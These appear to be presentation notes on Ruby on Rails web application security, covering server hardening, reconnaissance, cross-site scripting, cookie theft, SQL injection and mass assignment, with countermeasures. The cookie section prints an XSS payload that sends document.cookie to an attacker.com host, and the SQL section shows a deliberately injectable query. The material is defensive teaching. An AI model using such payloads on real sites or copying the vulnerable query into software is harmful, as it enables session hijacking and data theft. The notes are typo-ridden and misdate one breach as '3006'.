= Ruby on Rails Security by Heiko Webers

www.RoRsecurity.info

== Why Security?
 * "Why my small site ... ?", because large enterprises are harder to attack, part of a large-scale attack (bot nets), not all attacks come from the outside
   * Small websites are much easier to target as a small part of a large attack
 * 2002: 90% of corporations and government agencies detected computer security breaches, 80% of those with financial losses
 * Recovery takes significant time and effort

== Layer model

(Client --> Internet --> ) Webserver --> Rails --> Storage
- security depends and all three layers

I can tell what has happended to other companies, to strike som fear in you

== Threats to Web Applications

 * An insecure server is like a tunnel into Fort Knox
 * Here: Web App Security
 * Gartner Group: 75% of hacks are at the web application level, out of 300 audited sites, 97% are vulnerable to attack

=== Things that happended in the past

 * CardSystems 2004: 263,000 credit card numbers stolen
 * CNBC 2007: $1,000,000 stock trading contest hacked
 * MySpace 3006: 57,000 user names and passwords stolen
 * Tailor-made Trojans for Monster.com

You can find many websites where you can buy: Credit card number ($25), eBay account ($7)
For managers: Security does not mean more sales, but no security mens less sales


== Apache

 * Deactivate the modules you do not need
 * Run Apache with the priviliges of a special Unix user: Limited access in case of a security compromise
 * Files and directories: "generally disallow access, allow only in particular"
 * Don't store uploads in the public document root

== MySQL

 * Run MySQL with the privileges of a special Unix user, too
 * Use bind-adress = 127.0.0.1 (or similar) to allow connections to the MySQL server from the localhost

== Ruby on Rails security

=== Profiling

Hackers will start out profiling your website

 * Objective: How does the web application work internally
 * OS, web server, database server, programming language + framework, directory structure
 * Controllers, actions, database parameters, url

==== Tools

 * Analysis tools, comments in the source code, leftover files and controllers, debug actions
 * Robots.txt (very nice place for attackers to see where to start their attack)
		User-agent: *
		Disallow: /admin/
		Disallow; /catalog/admin/
		Disallow: /private
	* Google, Google Hacking Database, The Wayback Machine
	
===== URL parameters

 * /project/1/show?userId=1&return_to=www.domain.com&file=project1.doc
 * Can you read data from other users?
 * Can read files from anywhere on the webserver?

=== Interpreter Injection

=== User Agent Injection

 * Also known as: Browser Injection, Cross Site Scriptin (XSS)
 * Injection: HTML, mostly in conjuction with JavaScript, but also other formats that the browser or software understands
 * Where_ Forum, comments, headlings, user na,es. search results, user reports, email
 * Most recent examples at www.xsssed.com, 9847 in total, 305 fixed, many Web 2.0

Objectives:
 * Defacement here: Exchange or addition of elements
   * To lure the victim into a traop
   * to replace ad links for financial enrichment
   * or to infect the victim with Trojans
 * Imitation just look like original

 * Means: CSS, JS and HTML Injection
   * Position a trap element exactly over the original one
   * Inject the evil <IFRAME> 
	
=== Cookies

 * _session_id=15sgd...
 * Temporary key to the web application after authentication by user name and password

Can be done by:
	* Sniffing
	* In Javascript document.cookie, same origin policy
	* Through injection the code cecomes part of the document, may access all objects:
		<script>document.write('img src="http://attacker.com/' + document.cookie + '">');</script>
		
==== Countermeasures
	* If you need mark-up: Markdown (less tags allowed)
  * Special syntax: RedCloth, _hello_ becomes <em>hello</em> in HTML
    * Some injection still possible, see my blog post for a solution (www.RoRSecurity.com)
	* Full HTML allowed:
	  * Blacklist filter, always a race with hackers
	  * Whitelist filer: WhiteListHelper plugin - better solution; which tags are good?
  * No HTML at all: Use the h function (html escape)
		* Do not use strip_tags()
	  * Do not forget to sanitize: SafeERB plugin (reminds you to sanitize)
	
=== SQL Injection
Injeciton of SQL statements, in order to manipulate database queries

Project.find(:all, :conditions => "name = '#{params[:name]}' AND user = 3")
- allows for injection

==== Countermeasures

 * SQL Injection needs one of tjese chars: ', ", NULL and line break"
 * Rails automatically converts these characters in all but these methods:
   * find_by_sql
   * conditions =>
 * In Rails 1.2: Conditions Hash
		User.find(:all, conditions => {:name => params[:name]})
		
== Validation

How about validation in the controller?
- Use the ActiveForm plugin
- Works like ActiveRecord with validators

# Model
class Search < ActiveForm
	attr_accessor :text
	validates_length_of ...
end

# Controller
def search
  if Search.new(params[:search]).valid?
end

== Mass assignment

 * Easy to change HTML source to set all properties of the user
 * In the login generator, it is easy to set the login as verified

Use attr_accessible, which specifies the properties available for mass assignment


== AJAX

== Conclusion

 * Security depends on all three layers
 * All input from the user has to be consiered malicious unless proven otherwise